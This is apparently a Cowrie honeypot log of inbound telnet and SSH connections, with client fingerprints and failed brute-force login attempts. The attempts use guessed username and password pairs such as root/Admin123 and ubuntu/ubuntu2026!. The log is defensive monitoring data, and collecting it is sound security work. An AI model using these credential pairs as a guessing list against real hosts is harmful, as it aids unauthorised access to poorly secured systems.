{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38708,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1c9de2247e","protocol":"telnet","message":"New connection: 128.199.8.54:38708 (159.203.135.109:23) [session: 2c1c9de2247e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:29.400908Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55824,"dst_ip":"159.203.135.109","dst_port":23,"session":"e031d9f3155d","protocol":"telnet","message":"New connection: 172.81.62.90:55824 (159.203.135.109:23) [session: e031d9f3155d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:29.676353Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.60","src_port":40310,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2c6d22f5084","protocol":"telnet","message":"New connection: 160.119.76.60:40310 (159.203.135.109:23) [session: f2c6d22f5084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:29.791672Z"}
{"eventid":"cowrie.session.closed","duration":0.08897113800048828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:29.880541Z","src_ip":"160.119.76.60","session":"f2c6d22f5084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54070,"dst_ip":"159.203.135.109","dst_port":23,"session":"60341c7f5d4c","protocol":"telnet","message":"New connection: 128.199.8.54:54070 (159.203.135.109:23) [session: 60341c7f5d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:52:53.587851Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":42284,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dc8ff9cc858","protocol":"ssh","message":"New connection: 111.238.174.6:42284 (10.17.0.5:22) [session: 8dc8ff9cc858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:01.845832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:01.858778Z","src_ip":"111.238.174.6","session":"8dc8ff9cc858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:02.054237Z","src_ip":"111.238.174.6","session":"8dc8ff9cc858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43942,"dst_ip":"10.17.0.5","dst_port":22,"session":"0db20206479f","protocol":"ssh","message":"New connection: 80.94.92.184:43942 (10.17.0.5:22) [session: 0db20206479f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:02.263040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:02.267399Z","src_ip":"80.94.92.184","session":"0db20206479f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:02.464512Z","src_ip":"80.94.92.184","session":"0db20206479f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEasdzxc","message":"login attempt [root/123QWEasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:02.836540Z","src_ip":"111.238.174.6","session":"8dc8ff9cc858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:04.022836Z","src_ip":"111.238.174.6","session":"8dc8ff9cc858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:04.040755Z","src_ip":"80.94.92.184","session":"0db20206479f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:05.279428Z","src_ip":"80.94.92.184","session":"0db20206479f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.441287994384766,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:07.117522Z","src_ip":"172.81.62.90","session":"e031d9f3155d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":39882,"dst_ip":"10.17.0.5","dst_port":22,"session":"7be6f24ed01a","protocol":"ssh","message":"New connection: 103.149.28.157:39882 (10.17.0.5:22) [session: 7be6f24ed01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:13.521432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:13.525161Z","src_ip":"103.149.28.157","session":"7be6f24ed01a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:13.782076Z","src_ip":"103.149.28.157","session":"7be6f24ed01a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15101980","message":"login attempt [root/15101980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:14.557125Z","src_ip":"103.149.28.157","session":"7be6f24ed01a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:15.816798Z","src_ip":"103.149.28.157","session":"7be6f24ed01a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.69096922874451,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:21.091763Z","src_ip":"128.199.8.54","session":"2c1c9de2247e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54208,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f775b240cf3","protocol":"ssh","message":"New connection: 27.71.230.31:54208 (159.203.135.109:22) [session: 9f775b240cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:39.060653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:39.173364Z","src_ip":"27.71.230.31","session":"9f775b240cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:39.643566Z","src_ip":"27.71.230.31","session":"9f775b240cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":11268,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7ee3dca23d7","protocol":"ssh","message":"New connection: 123.58.215.196:11268 (10.17.0.5:22) [session: a7ee3dca23d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:39.755227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:39.760840Z","src_ip":"123.58.215.196","session":"a7ee3dca23d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:39.983352Z","src_ip":"123.58.215.196","session":"a7ee3dca23d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2026!","message":"login attempt [ubuntu/ubuntu2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:40.892085Z","src_ip":"123.58.215.196","session":"a7ee3dca23d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:42.121697Z","src_ip":"123.58.215.196","session":"a7ee3dca23d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.22528433799744,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:42.813049Z","src_ip":"128.199.8.54","session":"60341c7f5d4c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:45.461207Z","src_ip":"27.71.230.31","session":"9f775b240cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:46.834980Z","src_ip":"27.71.230.31","session":"9f775b240cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41598,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb5e0a8de05d","protocol":"ssh","message":"New connection: 2.57.122.238:41598 (159.203.135.109:22) [session: cb5e0a8de05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:53.260972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:53.265110Z","src_ip":"2.57.122.238","session":"cb5e0a8de05d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:53.368208Z","src_ip":"2.57.122.238","session":"cb5e0a8de05d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethdocker","password":"ethdocker","message":"login attempt [ethdocker/ethdocker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:53.671183Z","src_ip":"2.57.122.238","session":"cb5e0a8de05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:53:54.774835Z","src_ip":"2.57.122.238","session":"cb5e0a8de05d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":32968,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ba03841b6b","protocol":"ssh","message":"New connection: 111.238.174.6:32968 (10.17.0.5:22) [session: 39ba03841b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:02.009122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:02.013498Z","src_ip":"111.238.174.6","session":"39ba03841b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:02.211379Z","src_ip":"111.238.174.6","session":"39ba03841b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admini","password":"123456","message":"login attempt [admini/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:02.986873Z","src_ip":"111.238.174.6","session":"39ba03841b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:04.192099Z","src_ip":"111.238.174.6","session":"39ba03841b6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.80","src_port":64792,"dst_ip":"10.17.0.5","dst_port":23,"session":"e54eba6d9013","protocol":"telnet","message":"New connection: 205.210.31.80:64792 (10.17.0.5:23) [session: e54eba6d9013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:07.739211Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45072,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08238f751f7","protocol":"telnet","message":"New connection: 172.81.62.90:45072 (159.203.135.109:23) [session: d08238f751f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:08.772228Z"}
{"eventid":"cowrie.session.closed","duration":9.968879222869873,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:17.707951Z","src_ip":"205.210.31.80","session":"e54eba6d9013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":59260,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2075dd80d2e","protocol":"ssh","message":"New connection: 103.82.20.28:59260 (159.203.135.109:22) [session: c2075dd80d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:22.788977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:22.794274Z","src_ip":"103.82.20.28","session":"c2075dd80d2e","protocol":"ssh"}
